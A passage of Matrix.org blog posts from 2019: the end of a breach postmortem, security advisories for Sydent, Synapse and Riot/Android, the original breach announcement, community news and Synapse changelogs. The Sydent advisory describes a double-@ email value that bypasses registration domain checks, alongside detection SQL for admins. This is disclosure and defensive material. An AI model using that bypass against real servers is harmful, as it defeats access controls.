Whilst the keys were compromised, none of the packages that we distribute were tampered with. However, the impact on the project has been high - particularly for Riot/Android, as we cannot allow the risk of an attacker using the keys to sign and somehow distribute malicious variants of Riot/Android, and Google provides no means of recovering from a compromised signing key beyond creating a whole new app and starting over. Therefore we have lost all our ratings, reviews and download counts on Riot/Android and started over. (If you want to give the newly released app a fighting chance despite this setback, feel free to give it some stars on the Play Store). We also revoked the compromised Synapse & Riot GPG keys and created new ones (and published new instructions for how to securely set up your Synapse or Riot debian repos).

In terms of remediation, designing a secure build process is surprisingly hard, particularly for a geo-distributed team. What we have landed on is as follows:

  • Developers create a release branch to signify a new release (ensuring dependencies are pinned to known good versions).
  • We then perform all releases from a dedicated isolated release terminal.
    • This is a device which is kept disconnected from the internet, other than when doing a release, and even then it is firewalled to be able to pull data from SCM and push to the package distribution servers, but otherwise entirely isolated from the network.
    • Needless to say, the device is strictly used for nothing other than performing releases.
    • The build environment installation is scripted and installs on a fresh OS image (letting us easily build new release terminals as needed)
    • The signing keys (hardware or software) are kept exclusively on this device.
    • The publishing SSH keys (hardware or software) used to push to the packaging servers are kept exclusively on this device.
    • We physically store the device securely.
    • We ensure someone on the team always has physical access to it in order to do emergency builds.
  • Meanwhile, releases are distributed using dedicated infrastructure, entirely isolated from the rest of production.
    • These live at https://packages.matrix.org and https://packages.riot.im
    • These are minimal machines with nothing but a static web-server.
    • They are accessed only via the dedicated SSH keys stored on the release terminal.
    • These in turn can be mirrored in future to avoid a SPOF (or we could cheat and use Cloudflare’s always online feature, for better or worse).

Alternatives here included:

  • In an ideal world we’d do reproducible builds instead, and sign the build’s hash with a hardware key, but given we don’t have reproducible builds yet this will have to suffice for now.
  • We could delegate building and distribution entirely to a 3rd party setup such as OBS (as per https://github.com/matrix-org/matrix.org/issues/370). However, we have a very wide range of artefacts to build across many different platforms and OSes, so would rather build ourselves if we can.

Dev and CI infrastructure

The main change in our dev and CI infrastructure is to move from Jenkins to Buildkite. The latter has been serving us well for Synapse builds over the last few months, and has now been extended to serve all the main CI pipelines that Jenkins was providing. Buildkite works by orchestrating jobs on a elastic pool of CI workers we host in our own AWS, and so far has done so quite painlessly.

The new pipelines have been set up so that where CI needs to push artefacts to production for continuous deployment (e.g. riot.im/develop), it does so by poking production via HTTPS to trigger production to pull the artefact from CI, rather than pushing the artefact via SSH to production.

Other than CI, our strategy is:

  • Continue using Github for public repositories
  • Use gitlab.matrix.org for private repositories (and stuff which we don’t want to re-export via the US, like Olm)
  • Continue to host docker images on Docker Hub (despite their recent security dramas).

Log minimisation and handling Personally Identifying Information (PII)

Another thing that the breach made painfully clear is that we log too much. While there’s not much evidence of the attacker going spelunking through any Matrix service log files, the fact is that whilst developing Matrix we’ve kept logging on matrix.org relatively verbose to help with debugging. There’s nothing more frustrating than trying to trace through the traffic for a bug only to discover that logging didn’t pick it up.

However, we can still improve our logging and PII-handling substantially:

  • Ensuring that wherever possible, we hash or at least truncate any PII before logging it (access tokens, matrix IDs, 3rd party IDs etc).
  • Minimising log retention to the bare minimum we need to investigate recent issues and abuse
  • Ensuring that PII is stored hashed wherever possible.

Meanwhile, in Matrix itself we already are very mindful of handling PII (c.f. our privacy policies and GDPR work), but there is also more we can do, particularly:

  • Turning on end-to-end encryption by default, so that even if a server is compromised, the attacker cannot get at private message history. Everyone who uses E2EE in Matrix should have felt some relief that even though the server was compromised, their message history was safe: we need to provide that to everyone. This is https://github.com/vector-im/riot-web/issues/6779.
  • We need device audit trails in Matrix, so that even if a compromised server (or malicious server admin) temporarily adds devices to your account, you can see what’s going on. This is https://github.com/matrix-org/synapse/issues/5145
  • We need to empower users to configure history retention in their rooms, so they can limit the amount of history exposed to an attacker. This is https://github.com/matrix-org/matrix-doc/pull/1763
  • We need to provide account portability (aka decentralised accounts) so that even if a server is compromised, the users can seamlessly migrate elsewhere. The first step of this is https://github.com/matrix-org/matrix-doc/pull/1228.

Conclusion

Hopefully this gives a comprehensive overview of what happened in the breach, how we handled it, and what we are doing to protect against this happening in future.

Again, we’d like to apologise for the massive inconvenience this caused to everyone caught in the crossfire. Thank you for your patience and for sticking with the project whilst we restored systems. And while it is very unfortunate that we ended up in this situation, at least we should be coming out of it much stronger, at least in terms of infrastructure security. We’d also like to particularly thank Kade Morton for providing independent review of this post and our remediations, and everyone who reached out with #hugops during the incident (it was literally the only positive thing we had on our radar), and finally thanks to the those of the Matrix team who hauled ass to rebuild the infrastructure, and also those who doubled down meanwhile to keep the rest of the project on track.

On which note, we’re going to go back to building decentralised communication protocols and reference implementations for a bit... Emoji reactions are on the horizon (at last!), as is Message Editing, RiotX/Android and a host of other long-awaited features - not to mention finally releasing Synapse 1.0. So: thanks again for flying Matrix, even during this period of extreme turbulence and, uh, hijack. Things should mainly be back to normal now and for the foreseeable.

Given the new blog doesn't have comments yet, feel free to discuss the post over at HN.

Security updates: Sydent 1.0.3, Synapse 0.99.3.1 and Riot/Android 0.9.0 / 0.8.99 / 0.8.28a

2019-05-03 — General, Security — 

Hi all,

Over the last few weeks we’ve ended up getting a lot of attention from the security research community, which has been incredibly useful and massively appreciated in terms of contributions to improve the security of the reference Matrix implementations.

We’ve also set up an official Security Disclosure Policy to explain the process of reporting security issues to us safely via responsible disclosure - including a Hall of Fame to credit those who have done so. (Please mail [email protected] to remind us if we’ve forgotten you!).

Since we published the Hall of Fame yesterday, we’ve already been getting new entries and so we’re doing a set of security releases today to ensure they are mitigated asap. Unfortunately the work around this means that we’re running late in publishing the post mortem of the Apr 11 security incident - we are trying to get that out as soon as we can.

Sydent 1.0.3

Sydent 1.0.3 has three security fixes:

  • Ensure that authentication tokens are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. This is an important fix - please update. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing the issue!
  • Mitigate an HTML injection bug where an invalid room_id could result in malicious HTML being injected into validation emails. The fix for this is in the email template itself; you will need to update any customised email templates to be protected. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing this issue too!
  • Randomise session_ids to avoid leaking info about the total number of identity validations, and whether a given ID has been validated. Thanks to @fs0c131y for identifying and responsibly disclosing this one.

If you are running Sydent as an identity server, you should update as soon as possible from https://github.com/matrix-org/sydent/releases/v1.0.3. We are not aware of any of these issues having been exploited maliciously in the wild.

Synapse 0.99.3.1

Synapse 0.99.3.1 is a security update for two fixes:

  • Ensure that random IDs in Synapse are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing this issue!
  • Add 0.0.0.0/32 and ::/128 to the URL preview blacklist configuration, ensuring that an attacker cannot make connections to localhost. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing this issue too!

You can update from https://github.com/matrix-org/synapse/releases or similar as normal. We are not aware of any of these issues having been exploited maliciously in the wild.

(Synapse 0.99.3.2 was released shortly afterwards to fix a non-security issue with the Debian packaging)

Riot/Android 0.9.x/0.8.99 (Google Play) and 0.8.28a (F-Droid)

Riot/Android has an important security fix which shipped over the course of the last week in various versions of the app:

  • Remove obsolete and buggy ContentProvider which could allow a malicious local app to compromise account data. Many thanks to Julien Thomas (@julien_thomas) from Protektoid Project for identifying this and responsibly disclosing it!

The fix for this shipped on F-Droid since 0.8.28a, and on the Play Store, the fix is present in both v0.9.0 (the first version of the re-published Riot app) and v0.8.99 (the last version of the old Riot app, which told everyone to reinstall). Other forks of Riot which we’re aware of have also been informed and should be updated.

If you haven’t already updated, please do so now.

Security Update: Sydent 1.0.2

2019-04-18 — General — 

Overview

We became aware today of a flaw in sydent’s validation of email addresses which can lead to a failure to correctly limit registration to a given email domain. This only affects people who run their own sydent, and are relying on allowed_local_3pid in their synapse config. We’d like to thank @fs0c131y for bringing it to our attention on Twitter this morning. We are not aware of this being exploited in the wild other than the initial report.

If you are running your own sydent, and limiting signup for your server using the allowed_local_3pids configuration option, then you need to upgrade your sydent immediately to Sydent 1.0.2.

Meanwhile, if you have been relying on the allowed_local_3pids configuration option to restrict access to your homeserver, you may wish to check your homeserver’s user_threepids table for malformed email addresses and your sydent’s database as follows:

$ sqlite3 sydent.db 
sqlite> select count(*) from global_threepid_associations where address like '%@%@%';
0

$ psql matrix
matrix=> select count(*) from user_threepids where address like '%@%@%';
 count 
-------
     0

If the queries return more than 0 results, please let us know at [email protected] - otherwise you are fine.

Details

A flaw existed in sydent whereby it was possible to bypass the requirement specified in synapse’s allowed_local_3pids option, which restricts that users may only register with an email address matching a specific format.

This relied on two things:

  1. sydent uses python's email.utils.parseaddr function to parse the input email address before sending validation mail to it, but it turns out that if you hand parseaddr an malformed email address of form [email protected]@c.com, it silently discards the @c.com prefix without error. The result of this is that if one requested a validation token for '[email protected]@important.com', the token would be sent to '[email protected]', but the address '[email protected]@important.com' would be marked as validated. This release fixes this behaviour by asserting that the parsed email address is the same as the input email address.
  2. synapse's checking of email addresses relies on regular expressions in the home server configuration file. synapse does not validate email addresses before checking them against these regular expressions, so naive regular expressions will detect the second domain in email addresses such as the above, causing them to pass the check.

You can get sydent 1.0.2 from https://github.com/matrix-org/sydent/releases/tag/v1.0.2.

This Week in Matrix 2019-04-12

2019-04-12 — General — 

Matrix Live featuring Slavi, creator of matrix-docker-ansible-deploy

This week, as you may have seen, there was some downtime on matrix.org. With matrix.org being such a large homeserver, there was some disruption to the ecosystem, but Matrix was not "down", since so many people are running their own homeservers. In fact - many rooms were not heavily affected by the downtime.

If you'd like to run your own server, now is a great time to get started because of projects like matrix-docker-ansible-deploy, which allow you to use Docker and Ansible to massively simplify installation and maintenance.

Famedly, start-up with investment making use of Matrix

jcgruenhage shared this exciting news:

Some of you might have heard that there's a Berlin startup called famedly (see https://famedly.com if you can read German), that employed some people from the German matrix community (including MTRNord from SimpleMatrix, krille from Fluffychat and myself), working on getting matrix into the German health sector. We won startup competition yesterday, giving us more funding for continuing our work on matrix and connecting to potential users and investors.

Our main work right now is writing a matrix client focussed on simplicity and the specific needs of the health sector and building the surrounding infrastructure. On the client side we look forward to working with the two other Dart/Flutter clients, to reduce duplicated work on the SDK side.

For questions and general chat, please join #famedly:famedly.de Code will follow later once we have more to show off. Contributions to existing codebases will be licensed under their license, new stuff that we write will be (A)GPLv3.

The two people on the left are larodar and phill.short, the two doctors who originally came up with the concept after being very dissatisfied with the existing comms solutions in that sector.
The one on the right is one of the people organizing the competition from a German bank.

Synapse

  • More progress against server key validity periods
  • MSC1711 (ensure valid S2S CA certs) support ready for final review
  • Started work on reactions
  • Started work on optimising small homeserver instances

Construct update

Construct made lots of progress this week toward the 1.0 release. One highlight of interest is the new experimental approach to initial sync called phased initial sync or "crazy loading" for short. Construct sends a very small amount of data to the client at first so it loads very quickly. It then feeds a sequence of since tokens which act to update the client live with small chunks until the initial sync is complete. This allows client developers to build a progress meter for initial sync.
This is just one of the many innovations for performance to enhance your user experience that we love building here. We need your support and contributions at https://github.com/matrix-construct/construct and in #test:zemos.net

Introducing bluepill, a new client for Sailfish OS

If you're using Sailfish, you might be interested in this very early announcement from Cy8aer about bluepill, a new Matrix Client for Sailfish written in Python.

hi benpa it is getting into pre-alpha state and let the community on it. It is far away from release but now I cannot cancel it anymore

YOU CANNOT CANCEL IT ANYMORE

If you're not using Sailfish on a device and want to try bluepill, Cy8aer has you covered:

you can already test it with the sdk emulator https://sailfishos.org/wiki/ApplicationDevelopment#Gettingstarted and the Readme from the repo

Ananace at foss-north 2019

Ananace has been at foss-north 2019, sharing the love and knowledge about Matrix:

I've now held a lightning talk about Matrix at FOSS-North, and am discussing with the Gothenburg FOSS community about setting up a homeserver for them

Major gomuks update

tulir has been storming work on gomuks, his Go CLI client this week:

While waiting for metaolm to be functional, I've been developing gomuks again for the past couple of weeks. So far the changes are mostly internal, but there were a few visible changes too.

  • Switched to my own TUI component library. The main visible change from this is that the input bar now supports multiline input. Sadly most terminals don't send ctrl/shift modifiers for enter and alt+enter is being used by the quick room switcher, so the temporary-ish way to input newlines is ctrl+n.
  • Changed history storage to store raw event data instead of parsed data.
  • Improved HTML parser/renderer. The old parser parsed HTML into a string with style information, whereas the new parser parses it into my custom renderable structs. The new style should make it possible to add scrolling to code blocks and other such things in the future.
  • Added syntax highlighting support for code blocks.
  • Improved reply rendering. The old reply rendering just put some HTML into the new event before parsing. Now it actually renders the original event separately.
  • Added commands for inviting, kicking, banning, unbanning and sending raw events in the current room (thanks to nepugia)

Riot Web

  • Finishing touches to breadcrumbs
  • More redesign activity
  • Planning for Message Editing and Reactions

Riot iOS

  • Grouped notifications have landed
  • Fix upgraded rooms that appeared twice in room
  • Interactive device verification is still in progress

Riot Android

  • We have fixed several issue related to the integration of the last Jitsi library.
  • SAS PRs are in review

RiotX (Android)

  • It’s now possible to create a room
  • Send file to a room is now supported
  • Some slash commands are now supported: send emote, invite people to a room
  • Slash command and people completion is here, but there are still a few issue with it

yuforia has continued work on continuum

continuum completely removed plaintext file-based storage; now working to complete database-based local storage

f0x working on neo

I did some bugfixes in the Neo login process, testing is welcomed. There's not much of a functional client after login yet, but there's full .well-known discovery :)

See a working version of neo here.

libaqueous

Black Hat:

I implemented more strongly-typed event types in libaqueous. Also applied some performance tweaks in the sqlite store. I am still stabilizing and documenting the API for now.
Dart's serialization framework is still a bit inconvenient to use, but the language's flexibility is great. Also fast prototyping!

Still more

Alexandre Franke gave a talk last Sunday at Journées Du Logiciel Libre in Lyon. He gave a tour of Matrix and encouraged attendees to switch to it. In future we'll link to a video of the talk and his blog of the event!

The talk was recorded and I would have given a link, but they haven’t been published yet.

GSOC student applications ended on Tuesday - Matrix received some great entries and we're looking forward to welcoming them to the project this summer!

That's all I know

If you have something to say here, something to add, come chat to us in #twim:matrix.org - I love that this is a supportive and engaged project ecosystem, so come share what you have!

We have discovered and addressed a security breach. (Updated 2019-04-12)

2019-04-11 — General — 

Here's what you need to know.

TL;DR: An attacker gained access to the servers hosting Matrix.org. The intruder had access to the production databases, potentially giving them access to unencrypted message data, password hashes and access tokens. As a precaution, if you're a matrix.org user you should change your password now.

The matrix.org homeserver has been rebuilt and is running securely; bridges and other ancillary services (e.g. this blog) will follow as soon as possible. Modular.im homeservers have not been affected by this outage.

The security breach is not a Matrix issue.

The hacker exploited a vulnerability in our production infrastructure (specifically a slightly outdated version of Jenkins). Homeservers other than matrix.org are unaffected.

How does this affect me?

We have invalidated all of the active access tokens for users on Matrix.org - all users have been logged out.

Users with Matrix.org accounts should:

  • Change your password now - no plaintext Matrix passwords were leaked, but weak passwords could still be cracked from the hashed passwords
  • Change your NickServ password (if you're using IRC bridging) - there's no evidence bridge credentials were compromised, but if you have given the IRC bridges credentials to your NickServ account we would recommend changing this password

And as a reminder, it's good practice to:

  • Review your device list regularly - make sure you recognise all of the devices connected to your account
  • Always make sure you enable E2E encryption for private conversations

What user data has been accessed?

Forensics are ongoing; so far we've found no evidence of large quantities of data being downloaded. The attacker did have access to the production database, so unencrypted content (including private messages, password hashes and access tokens) may be compromised.

What has not been affected?

  • Source code and packages have not been impacted based on our initial investigations. However, we will be replacing signing keys as a precaution.
  • Modular.im servers are not affected, based on our initial analysis
  • Identity server data does not appear to have been compromised

The target appeared to be internal credentials for onward exploits, not end user information from the matrix.org homeserver.

You might have lost access to your encrypted messages.

As we had to log out all users from matrix.org, if you do not have backups of your encryption keys you will not be able to read your encrypted conversation history. However, if you use server-side encryption key backup (the default in Riot these days) or take manual key backups, you’ll be okay.

This was a difficult choice to make. We weighed the risk of some users losing access to encrypted messages against that of all users' accounts being vulnerable to hijack via the compromised access tokens. We hope you can see why we made the decision to prioritise account integrity over access to encrypted messages, but we're sorry for the inconvenience this may have caused.

What happened?

We were using Jenkins for continuous integration (automatically testing our software). The version of Jenkins we were using had a vulnerability (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002) which allowed an attacker to hijack credentials (forwarded ssh keys), giving access to our production infrastructure. Thanks to @jaikeysarraf for drawing this to our attention.

Timeline

March 13th Updated 2019-04-12 11:00 UTC

  • Attacker compromises Jenkins CI server

April 4th Updated 2019-04-12 11:00 UTC

  • Attacker gains access to production infrastructure by hijacking a forwarded SSH agent logging into the compromised Jenkins worker

April 9th

April 10th

  • Investigation identified the compromised machines and the full scope of the attack
  • Jenkins was removed
  • Attacker's access to compromised machines was removed

April 11th

  • Matrix.org was taken offline and production infrastructure fully rebuilt
  • Having fully flushed out the attacker, external communication was published informing users and advising on next steps
  • Matrix.org homeserver restored, with bridges and ancillary services (e.g. this blog) following as soon as possible

Update 2019-04-12

At around 5am UTC on Apr 12, the attacker used a cloudflare API key to repoint DNS for matrix.org to a defacement website (https://github.com/matrixnotorg/matrixnotorg.github.io). The API key was known compromised in the original attack, and during the rebuild the key was theoretically replaced. However, unfortunately only personal keys were rotated, enabling the defacement. We are currently doublechecking that all compromised secrets have been rotated.

The rebuilt infrastructure itself is secure, however, and the DNS issue has been solved without further abuse. If you have already changed your password, you do not need to do so again.

The defacement confirms that encrypted password hashes were exfiltrated from the production database, so it is even more important for everyone to change their password. We will shortly be messaging and emailing all users to announce the breach and advise them to change their passwords. We will also look at ways of non-destructively forcing a password reset at next login.

The attacker has also posted github issues detailing some of their actions and suggested remediations at https://github.com/matrix-org/matrix.org/issues/created_by/matrixnotorg.

This confirms that GPG keys used for signing packages were compromised. These keys are used for signing the synapse debian repository (AD0592FE47F0DF61), and releases of Riot/Web (E019645248E8F4A1). Both keys have now been revoked. The window of compromise for the keys started from April 4th; there have been no Synapse releases since then. There has been one release of Riot/Web (1.0.7), however as the key was passphrased and based on our initial analysis of the release, we believe it to be secure.

What are we doing to prevent this in future?

Once things are back up and running we will retrospect on this incident in detail to identify the changes we need to make. We will provide a proper postmortem, including follow-up steps; meanwhile we are obviously going to take measures to improve the security of our production infrastructure, including patching services more aggressively and more regular vulnerability scans.

Synapse: Deprecating Postgres 9.4 and Python 2.x

2019-04-08 — General — 
TL;DR DON'T PANIC - Synapse 1.0 will support Postgres 9.4 and Python 2.7

Folks, this is an update to explain that we will be shortly deprecating Synapse support for Postgres 9.4 and Python 2.x.

What are we doing?

From the dates described below, we will no longer guarantee support for deprecated versions. This means that Synapse may continue to work with these versions but we will not make any attempt to ensure compatibility and will remove old library versions from our CI.

When is this happening?

Synapse 1.0 will continue to support both technologies, but subsequent releases may not:-

For Python, we shared that we would discontinue to Python 2.x support from April 1st 2019, so for the first release that follows 1.0 we do not guarantee Python 2.x support.

For Postgres, will give server admins 6 weeks to upgrade to a newer version, and will guarantee support up until 20th May 2019.

Why would you do this to us?

We have multiple reasons, but broadly:-

  • We want to make use of new language features not supported in old versions. This will enable us to continue to improve the performance and maintainability of Synapse.
  • Python 2.x overall will be end of life'd at the end of the year. Postgres 9.4's final release will follow 2 months later on 13th February 2020.
  • Since very few server admins still use these technologies on the wild, providing support is costly and we want to reduce our overall maintenance load.

La la la I am ignoring you - what will happen?

You will be able to upgrade to Synapse 1.0, but will likely experience incompatibilities that prevent you upgrading further. Seriously, you really need to upgrade.

Okay, but I have questions, where should I go?

Come and say Hi in #synapse:matrix.org and we'll do our best to help you.

Synapse 0.99.3 released!

2019-04-01 — General — 

Hey hey, a Synapse release for you today.

The big news in 0.99.3 is that the user directory has been completely re-written and should now be much more performant - this will benefit all installations, but especially those housing larger servers.

Aside from that we continue our 1.0 preparations and relatedly we've improved our docs, in particular to explain how .well-known works. On the perf side we've added rate limiting to login and register endpoints as well as now batching up read receipts to send over federation.

I've said it before, and I'll say it again:-

The most important thing that admins should know is that prior to 1.0 landing later this month, it is essential that the federation API has a valid TLS certificate - self signed certificates will no longer be accepted. For more details see our handy guide. Failure to do this will result in being unable to federate with other 1.0 servers.
As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our new Synapse installation guide page.

Synapse 0.99.3 changelog

Features

  • The user directory has been rewritten to make it faster, with less chance of falling behind on a large server. (#4537#4846#4864#4887#4900#4944)
  • Add configurable rate limiting to the /register endpoint. (#4735#4804)
  • Move server key queries to federation reader. (#4757)
  • Add support for /account/3pid REST endpoint to client_reader worker. (#4759)
  • Add an endpoint to the admin API for querying the server version. Contributed by Joseph Weston. (#4772)
  • Include a default configuration file in the 'docs' directory. (#4791#4801)
  • Synapse is now permissive about trailing slashes on some of its federation endpoints, allowing zero or more to be present. (#4793)
  • Add support for /keys/query and /keys/changes REST endpoints to client_reader worker. (#4796)
  • Add checks to incoming events over federation for events evading auth (aka "soft fail"). (#4814)
  • Add configurable rate limiting to the /login endpoint. (#4821#4865)
  • Remove trailing slashes from certain outbound federation requests. Retry if receiving a 404. Context: #3622. (#4840)
  • Allow passing --daemonize flags to workers in the same way as with master. (#4853)
  • Batch up outgoing read-receipts to reduce federation traffic. (#4890#4927)
  • Add option to disable searching the user directory. (#4895)
  • Add option to disable searching of local and remote public room lists. (#4896)
  • Add ability for password providers to login/register a user via 3PID (email, phone). (#4931)

Bugfixes

  • Fix a bug where media with spaces in the name would get a corrupted name. (#2090)
  • Fix attempting to paginate in rooms where server cannot see any events, to avoid unnecessarily pulling in lots of redacted events. (#4699)
  • 'event_id' is now a required parameter in federated state requests, as per the matrix spec. (#4740)
  • Fix tightloop over connecting to replication server. (#4749)
  • Fix parsing of Content-Disposition headers on remote media requests and URL previews. (#4763)
  • Fix incorrect log about not persisting duplicate state event. (#4776)
  • Fix v4v6 option in HAProxy example config. Contributed by Flakebi. (#4790)
  • Handle batch updates in worker replication protocol. (#4792)
  • Fix bug where we didn't correctly throttle sending of USER_IP commands over replication. (#4818)
  • Fix potential race in handling missing updates in device list updates. (#4829)
  • Fix bug where synapse expected an un-specced prev_state field on state events. (#4837)
  • Transfer a user's notification settings (push rules) on room upgrade. (#4838)
  • fix test_auto_create_auto_join_where_no_consent. (#4886)
  • Fix a bug where hs_disabled_message was sometimes not correctly enforced. (#4888)
  • Fix bug in shutdown room admin API where it would fail if a user in the room hadn't consented to the privacy policy. (#4904)
  • Fix bug where blocked world-readable rooms were still peekable. (#4908)

Internal Changes

  • Add a systemd setup that supports synapse workers. Contributed by Luca Corbatto. (#4662)
  • Change from TravisCI to Buildkite for CI. (#4752)
  • When presence is disabled don't send over replication. (#4757)
  • Minor docstring fixes for MatrixFederationAgent. (#4765)
  • Optimise EDU transmission for the federation_sender worker. (#4770)
  • Update test_typing to use HomeserverTestCase. (#4771)
  • Update URLs for riot.im icons and logos in the default notification templates. (#4779)
  • Removed unnecessary $ from some federation endpoint path regexes. (#4794)
  • Remove link to deleted title in README. (#4795)
  • Clean up read-receipt handling. (#4797)
  • Add some debug about processing read receipts. (#4798)
  • Clean up some replication code. (#4799)
  • Add some docstrings. (#4815)
  • Add debug logger to try and track down #4422. (#4816)
  • Make shutdown API send explanation message to room after users have been forced joined. (#4817)
  • Update example_log_config.yaml. (#4820)
  • Document the generate option for the docker image. (#4824)
  • Fix check-newsfragment for debian-only changes. (#4825)
  • Add some debug logging for device list updates to help with #4828. (#4828)
  • Improve federation documentation, specifically .well-known support. Many thanks to @vaab. (#4832)
  • Disable captcha registration by default in unit tests. (#4839)
  • Add stuff back to the .gitignore. (#4843)
  • Clarify what registration_shared_secret allows for. (#4844)
  • Correctly log expected errors when fetching server keys. (#4847)
  • Update install docs to explicitly state a full-chain (not just the top-level) TLS certificate must be provided to Synapse. This caused some people's Synapse ports to appear correct in a browser but still (rightfully so) upset the federation tester. (#4849)
  • Move client read-receipt processing to federation sender worker. (#4852)
  • Refactor federation TransactionQueue. (#4855)
  • Comment out most options in the generated config. (#4863)
  • Fix yaml library warnings by using safe_load. (#4869)
  • Update Apache setup to remove location syntax. Thanks to @cwmke! (#4870)
  • Reinstate test case that runs unit tests against oldest supported dependencies. (#4879)
  • Update link to federation docs. (#4881)
  • fix test_auto_create_auto_join_where_no_consent. (#4886)
  • Use a regular HomeServerConfig object for unit tests rater than a Mock. (#4889)
  • Add some notes about tuning postgres for larger deployments. (#4895)
  • Add a config option for torture-testing worker replication. (#4902)
  • Log requests which are simulated by the unit tests. (#4905)
  • Allow newsfragments to end with exclamation marks. Exciting! (#4912)
  • Refactor some more tests to use HomeserverTestCase. (#4913)
  • Refactor out the state deltas portion of the user directory store and handler. (#4917)
  • Fix nginx example in ACME doc. (#4923)
  • Use an explicit dbname for postgres connections in the tests. (#4928)
  • Fix ClientReplicationStreamProtocol.__str__(). (#4929)

Matrix 1.0 - Are We Ready Yet?

2019-03-15 — General — 
TL;DR
  • If you run a Synapse ensure that your federation certificates are valid here.
  • If they are not valid check out the FAQ.
  • Follow along with progress at https://arewereadyyet.com
  • Tell all your admin friends.
Folks, as you know we are now very close to achieving Matrix 1.0 and finally being in a position to shed our ‘beta' tag. It has been a long time coming and speaks to the huge effort from hundreds of people over the past 5 years.A critical step towards this goal is the release of Synapse 1.0. We want to ship Synapse 1.0 as soon as possible but can't do so without your help! We'd like to introduce AreWeReadyYet.com - a quick and easy way for everyone to track the progress and check if their federation is ready for Matrix 1.0!!

Are we ready yet?

Synapse 1.0 is good news for anyone running a Synapse installation - it contains critical bug fixes, security patches, a new room algorithm version and dramatically improved user and room search. However, as part of the security work it also contains a breaking change from previous Synapse versions. From 1.0 onwards it will necessary to ensure a valid TLS certificate on the federation API. Self signed certificates will no longer be accepted. Why would we do such a thing?In anticipation for this, everyone currently running a homeserver must ensure that they have checked their federation certificate (check yours here). Failure to do so will mean being unable to federate with any Matrix 1.0 compliant server. If your server fails the check, our FAQ has all the details on what you need to do. This post is a call to arms to try and get as many admins to upgrade their certificates as possible. We are tracking adoption at https://arewereadyyet.com - currently this sits at about 55% - we need this figure to be higher before we can pull the lever.  So what are you waiting for? Check that your server has valid certs - then tell all your admin pals to do the same. Friends don't let friends miss out on Synapse 1.0, send them to arewereadyyet.com (or tweet here to remind them!) We really need the community to help us here because at some point soon, we will need to pull the lever and release.Once we make more progress on adoption, we will announce an official release date and finally get Synapse out of beta!

Synapse 0.99.2 released!

2019-03-04 — General — 

Well now, what have we here? Synapse 0.99.2 is the latest in the 0.99.x series as we step ever closer to 1.0.

0.99.2 is an incremental release including a bunch of performance improvements, enhancements to room upgrades and generally a plethora of bug fixes.

The most important thing that admins should know is that prior to 1.0 landing later this month, it is essential that the federation API has a valid TLS certificate - self signed certificates will no longer be accepted. For more details see our handy guide. Failure to do this will result in being unable to federate with other 1.0 servers.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our new Synapse installation guide page.

 

Synapse 0.99.2 changelog

Features

  • Added an HAProxy example in the reverse proxy documentation. Contributed by Benoît S. (“Benpro”). (#4541)
  • Add basic optional sentry integration. (#4632#4694)
  • Transfer bans on room upgrade. (#4642)
  • Add configurable room list publishing rules. (#4647)
  • Support .well-known delegation when issuing certificates through ACME. (#4652)
  • Allow registration and login to be handled by a worker instance. (#4666#4670#4682)
  • Reduce the overhead of creating outbound federation connections over TLS by caching the TLS client options. (#4674)
  • Add prometheus metrics for number of outgoing EDUs, by type. (#4695)
  • Return correct error code when inviting a remote user to a room whose homeserver does not support the room version. (#4721)
  • Prevent showing rooms to other servers that were set to not federate. (#4746)

Bugfixes

  • Fix possible exception when paginating. (#4263)
  • The dependency checker now correctly reports a version mismatch for optional dependencies, instead of reporting the dependency missing. (#4450)
  • Set CORS headers on .well-known requests. (#4651)
  • Fix kicking guest users on guest access revocation in worker mode. (#4667)
  • Fix an issue in the database migration script where thee2e_room_keys.is_verified column wasn't considered as a boolean. (#4680)
  • Fix TaskStopped exceptions in logs when outbound requests time out. (#4690)
  • Fix ACME config for python 2. (#4717)
  • Fix paginating over federation persisting incorrect state. (#4718)

Internal Changes

  • Run black to reformat user directory code. (#4635)
  • Reduce number of exceptions we log. (#4643#4668)
  • Introduce upsert batching functionality in the database layer. (#4644)
  • Fix various spelling mistakes. (#4657)
  • Cleanup request exception logging. (#4669#4737#4738)
  • Improve replication performance by reducing cache invalidation traffic. (#4671#4715#4748)
  • Test against Postgres 9.5 as well as 9.4. (#4676)
  • Run unit tests against python 3.7. (#4677)
  • Attempt to clarify installation instructions/config. (#4681)
  • Clean up gitignores. (#4688)
  • Minor tweaks to acme docs. (#4689)
  • Improve the logging in the pusher process. (#4691)
  • Better checks on newsfragments. (#4698#4750)
  • Avoid some redundant work when processing read receipts. (#4706)
  • Run push_receipts_to_remotes as background job. (#4707)
  • Add prometheus metrics for number of badge update pushes. (#4709)
  • Reduce pusher logging on startup (#4716)
  • Don't log exceptions when failing to fetch remote server keys. (#4722)
  • Correctly proxy exception in frontend_proxy worker. (#4723)
  • Add database version to phonehome stats. (#4753)

Welcome to Matrix, KDE!

2019-02-20 — General — 

Hi all,

We're very excited to officially welcome the KDE Community on to Matrix as they announce that KDE Community is officially adopting Matrix as a chat platform, and kde.org now has an official Matrix homeserver!

You can see the full announcement and explanation over at https://dot.kde.org/2019/02/20/kde-adding-matrix-its-im-framework.  It is fantastic to see one of the largest Free Software communities out there proactively adopting Matrix as an open protocol, open network and FOSS project, rather than drifting into a proprietary centralised chat system.  It's also really fun to see Riot 1.0 finally holding its own as a chat app against the proprietary alternatives!

This doesn't change the KDE rooms which exist in Matrix today or indeed the KDE Freenode IRC channels - so many of the KDE community were already using Matrix, all the rooms already exist and are already bridged to the right places.  All it means is that there's now a shiny new homeserver (powered by Modular.im) on which KDE folk are welcome to grab an account if they want, rather than sharing the rather overloaded public matrix.org homeserver.  The rooms have been set up on the server to match their equivalent IRC channels - for instance, #kde:kde.org is the same as #kde on Freenode; #kde-devel:kde.org is the same as #kde-devel etc.  The rooms continue to retain their other aliases (#kde:matrix.org, #freenode_#kde:matrix.org etc) as before.

There's also a dedicated Riot/Web install up at https://webchat.kde.org, and instructions on connecting via other Matrix clients up at https://community.kde.org/Matrix.

